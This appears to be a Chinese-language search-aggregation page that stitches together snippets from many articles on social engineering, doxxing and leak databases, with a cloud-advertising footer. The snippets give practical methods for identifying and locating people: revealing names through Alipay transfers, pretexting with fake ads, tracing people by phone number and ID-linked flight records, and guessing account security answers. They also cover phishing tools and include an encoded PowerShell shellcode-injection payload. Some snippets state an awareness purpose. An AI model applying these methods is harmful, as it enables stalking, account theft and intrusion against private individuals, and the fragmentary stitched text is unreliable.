[1.Whois] (http://whois.chinaz.com/) Whois可以用来查询域名是否已经被注册，如果已经被注册，将会查询 域名的详细信息。...在拨通电话一会儿，界面就是出现目标好友的IP，结合上面IP定位的工具就可查询目标位置。...[同IP网站查询] (https://www.webscan.cc) 对目标网站的信息与存在的子网页进行查看。...手机号生成器 一些社工师门根据爬虫等特殊手端，将全国的手机号码进行收集，如果知道目标收集号的前几位数字和后几位数字，是很好知道有哪些数字相匹配的，在进行手机归属地查询，就可知道目标的一些个人信息了...社工库 社工师们可以通过访问国外网站在某些社工库上搜索信息，如果查到了个人的信息，说明信息已经遭到了泄露，利用社工库在一定的概率上能查到目标信息。
本篇文章意在介绍一些社工常用的调查手段，目的是帮助大家提高警惕，保护好自身的安全 ? 一、支付宝查询姓名 最终社工手法我想是极为常见的一种方式，它的先决条件是获取到对方电话，电话号已注册支付宝。...方式很简单，只需要选择转账输入大额转账，就会弹出对方姓名，除去姓氏的验证方式，嗯，这时你可以进行简单的猜解，或进行短信伪装调查 二、空间朋友圈查询信息 这个方式通常是使用最多的，也是最简单的，同时也是最难分析的...你只需找一名私家侦探划伤两三百即可查找户籍，此法唯一的问题是可能遇到骗子，所以一般情况不建议使用 四、伪装调查 这种方式是最为实用的，成功率相对较高的方式，面对我们所需的各类信息，我们时常会缺少关键点，导致无法沿着线索向下继续查询...电话甚至家庭情况等，我们只要准备那家店的广告单，或是开设一个虚拟的网站 分析上述内容角色的选择，最好是选择目标，有需要的角色或是对方经常接触社会常见的角色，这样才更容易上手 本篇文章简单介绍了几种常见的社工方式
社工是什么？ ...社工库是什么？ 看到“社工库”这个貌似平淡无奇的名词，如果你认为它与人才市场或社区义工有什么瓜葛，那简直就是“很傻很天真”。所谓社工库，其实就是“社会工程学数据库”的简称。...这听起来非常专业的社工库，里面藏着亿级数据库。其中包括各大网站的数据，各大社交平台的数据。在这儿可以很容易得到别人的密码与账号。也许就只需要一个关键词。 人肉搜索是什么？ ...顾名思义，人肉搜索就是利用现代信息科技，变传统的网络信息搜索为人找人、人问人、人碰人、人挤人、人挨人的关系型网络社区活动，变枯燥乏味的查询过程为“一人提问、八方回应，一石激起千层浪，一声呼唤惊醒万颗真心...这样既可避免了一些低端的社工技术。
社工，全程为社会工程学，起源于凯文·米特尼克的《反欺骗的艺术》， 书中提到人为因素才是安全的软肋。很多企业、公司在信息安全上投入大量的资金，最终导致数据泄露的原因，往往却是发生在人本身。...你们可能永远都想象不到，对于黑客们来说，通过一个用户名、一串数字、一串英文代码，社会工程师就可以通过这么几条的线索，通过社工攻击手段，加以筛选、整理，就能把你的所有个人情况信息、家庭状况、兴趣爱好、婚姻状况...盗号，盗游戏号，key数据，社工等等。。。这些需要的不只是所谓的软件，更要有灵活的思维。当你只是永远想着别人的思维，那你永不不会有自己的一套思维、技巧。...盗号 ，一般社工、单反、干信，社工这个以后再说。单反与干信，基本相同。...第二，代理他那个地方IP，成功率增加绑定手机号码，这个，你打开它邮箱，在账户里面可以直接获取完整的，手机号码，密保当你 不知道时，填他爸爸妈妈的名字这些，在这里告诉大家一个诀窍，这是一个社工帝，曾经告诉我的
我是五行 这次带来的是 社工的心理学的欺骗思路 也是社工第二课 在十年面前社过不下百个人的资料！...在很多兄弟面前用到了社工 好了不贫了 有可能社工让我在网络上混到现在 第一个思路： 虽然万人骑，但是很实用：刷钻、刷枪、刷qq等级、刷qq下面的游戏图标，骗到密码把网名跟个性改了截图，发空间里...社工帝玩的心理，玩的就是欺骗。
十几年过去了，现在的人肉搜索已经不再仅仅是基于互联网搜索引擎，而是通过更加专业的社工（社会工程学）等方式，这种方式能够更高效的获得用户的数据信息，甚至能够精确到个人征信、健康状况以及兴趣爱好等。...据说，社工库的数据可以描绘出用户的完整肖相，而且国内一半以上人的资料都可以在社工库买到。...所以说，在程序员以及程序员思维的参与下，社工的高效程度非常惊人：一个手机号便可以拿到你所有的信息，一张照片便可能锁定你的具体位置……只要知道你的名字、毕业学校、电话号码或QQ号其中的一项或者几项，就可以通过你常去的贴吧...通过这些碎片化信息，社工能够分分钟把你的信息收集起来，得到你完整的个人数字画像。...话又说回来，有了程序员参与的社工专业化人肉搜索不是你想防就能防的，只要你使用网络，就一定有人能搜索到你，所以，保持理性及与人为善的处世风格也是防止被人肉搜索的关键。
前言： 这里使用一款比较简易好用的社工钓鱼工具，做一下使用笔记 正文： 首先我们安装一下环境，这里如果你的kali比较老可能需要更新一下python环境，不然会启动失败。
文章前言 本篇文章主要介绍如何通过利用Adobe Flash Player的漏洞进行社工钓鱼，该漏洞目前已被修复，在实战中利用已不太奏效，仅作为学习 钓鱼实践 影响范围 Adobe Flash Player
前言 穷则社工钓鱼，达则0day炸场-微步在线，借用微步公众号的一句话，没有后端资源支持的情况下，社工钓鱼必学技能，毕竟正面打不动，代码审不动，0day又没有是日常，下文讲解自己对于社工钓鱼的思路。...上线后的操作 参考L33h0m师傅的文章分享我的CS钓鱼流程导图（权限维持+信息收集+后渗透阶段） 总结 本文讲解了我对社工钓鱼的基本流程，偏向于思路，师傅们有其他思路欢迎在评论区留言，学习交流。
安装beef-xss：apt install beef-xss 安装完成之后运行beef-xss：
WiFi-Pumpkin是一款专用于无线环境渗透测试的框架，该工具可以伪造AP以完成中间人攻击，同时也可以用来监听目标的流量数据，通过无线钓鱼的方式来捕获不知情...
最后，如果想知道自己被人肉搜索成功的概率，可以在百度中用自己的相关信息进行搜索，如果一点都搜索不到，说明你的安全意识还是不错的。...反之如果能找到很多自己的真实信息，那么情况就危险了，你很容易被人肉搜索，多提高一下安全意识吧 原文由:社会工程学研究所 版权声明 本文仅代表作者观点，不代表黑白网立场。
HTA是指HTML Application，它是一种基于HTML和JavaScript的Windows应用程序格式。HTA文件扩展名为".hta"，在Windo...
LNK文件是一种用于指向其他文件的特殊文件，这些文件通常也被称为快捷方式文件，通常它以快捷方式放在硬盘上，以方便使用者快速的调用， LNK钓鱼主要将图标伪装成正...
Office宏，译自英文单词Macro，宏是微软公司为其OFFICE软件包设计的一个特殊功能，软件设计者为了让人们在使用软件进行工作时，避免一再地重复相同的动作...
社会工程学（Social Engineering）简称社工，其通过分析攻击对象的心理弱点，利用人性的本能反应，以及任何好奇心，贪婪等心理特征进行的，使用诸如假冒，欺骗，引诱等多种手段来达成攻击目标的一种手段...，社会工程学的应用领域非常之广泛，而很多黑客也会将社工运用到渗透的方方面面，社工也被称为没有技术，却比技术更强大的渗透方式，正所谓 “攻城为下，攻心为上” 这句话用在社工上面是最恰当不过的啦。...Kennedy (ReL1K)设计并开发，并且有一群活跃的社区合作进行维护工作（www.social-engineer.org）,该工具包是开源的并使用Python作为开发语言，其主要目的是协助黑客更好的进行社工活动...PowerShell 注入攻击 社工工具包中包含一个PowerShell注入攻击的有效载荷，适用于 Win7 - Win10系统使用，因为PowerShell脚本可以很容易的将ShellCode注入到目标的物理内存中...JABOAHgAIAA9ACAAJwAkAEsAcwAgAD0AIAAnACcAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABWAGkAcgB0AHUAYQBsAEEAbABsAG8AYwAoAEkAbgB0AFAAdAByACAAbABwAEEAZABkAHIAZQBzAHMALAAgAHUAaQBuAHQAIABkAHcAUwBpAHoAZQAsACAAdQBpAG4AdAAgAGYAbABBAGwAbABvAGMAYQB0AGkAbwBuAFQAeQBwAGUALAAgAHUAaQBuAHQAIABmAGwAUAByAG8AdABlAGMAdAApADsAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABDAHIAZQBhAHQAZQBUAGgAcgBlAGEAZAAoAEkAbgB0AFAAdAByACAAbABwAFQAaAByAGUAYQBkAEEAdAB0AHIAaQBiAHUAdABlAHMALAAgAHUAaQBuAHQAIABkAHcAUwB0AGEAYwBrAFMAaQB6AGUALAAgAEkAbgB0AFAAdAByACAAbABwAFMAdABhAHIAdABBAGQAZAByAGUAcwBzACwAIABJAG4AdABQAHQAcgAgAGwAcABQAGEAcgBhAG0AZQB0AGUAcgAsACAAdQBpAG4AdAAgAGQAdwBDAHIAZQBhAHQAa'" 6.回到Kali，会发现出现了一个会话，使用 sessions -i 查询
pydictor/blob/master/README_CN.md https://github.com/LandGrey/pydictor/blob/master/docs/doc/usage.md (3) 社工字典...最后的社工字典，我要重点说一下，这个是我比较喜欢的功能，在渗透测试中非常有用。...社工字典的方式，通过我们输入目标的一些信息，可以针对这个目标生成定制化的字典。
最后，如果想知道自己被人肉搜索成功的概率，可以在百度中用自己的相关信息进行搜索，如果一点都搜索不到，说明你的安全意识还是不错的。...反之如果能找到很多自己的真实信息，那么情况就危险了，你很容易被人肉搜索，多提高一下安全意识吧 原文由:社会工程学研究所
根据爆出的信息，林伟为我们简单地梳理了一下他被“社工”的步骤： 1、手机号、身份证信息被网友通过社工库泄露。（身份证上包含住址，但后来证明此居所已被出售。）...以宋喆为例，在人人网上，你可以公开查询到他的生日、从小到大的学校信息、他喜欢养狗、他的偶像是陈冠希、他的性格放浪不羁等等。...然而，遭遇人肉和社工的“全民公敌”有可能第一时间飞往国外。如何判断一个人究竟是否“出逃”了呢？ “你听说过航旅纵横吗？”林伟问。 ?...在过去的版本中，你只输入自己的身份证号，就可以查询自己的航程。同样，你输入别人的身份证号，也可以查看别人的航程。...用社工方法入侵他人的账号是非法的行为，人肉他人也是不道德的行为。之所以介绍这些攻击方法，是因为在互联网时代，每个人都面临攻击的威胁。知道进攻的方法，才能更有效地防御。 他说。
首先，通过号码归属地和基站信息查询，能够掌握到目标的大概位置，这一步很简单但是很重要，可以根据归属地来获得目标的身份证号码前六位等信息。...把手机号在所有搜索引擎中查询一遍也很重要，经常会有令人惊喜的发现。注意，必须是所有搜索引擎，毕竟每个搜索引擎抓取的内容是不同的。 手机号多用于查明持机人身份，往往是社工的开始，其重要性不言而喻。...近年来，因为“人肉”丑闻频发，且涉嫌侵犯公民个人信息，公开的社工库几乎已经绝迹。...社工库案例： 法制晚报·看法新闻（记者 付中）租住在昌平的邢伟虽是名普通公司职员，可却干了件超出他表面身份的“大事”：搜集30亿条公民个人信息，开设网站，设置账密查询、开房记录查询、邮箱密码查询和QQ...群关系查询等六个查询区，从而通过卖会员账号、打包数据挣钱。
领取专属 10元无门槛券
手把手带您无忧上云
云服务器
即时通信 IM
ICP备案
对象存储
实时音视频
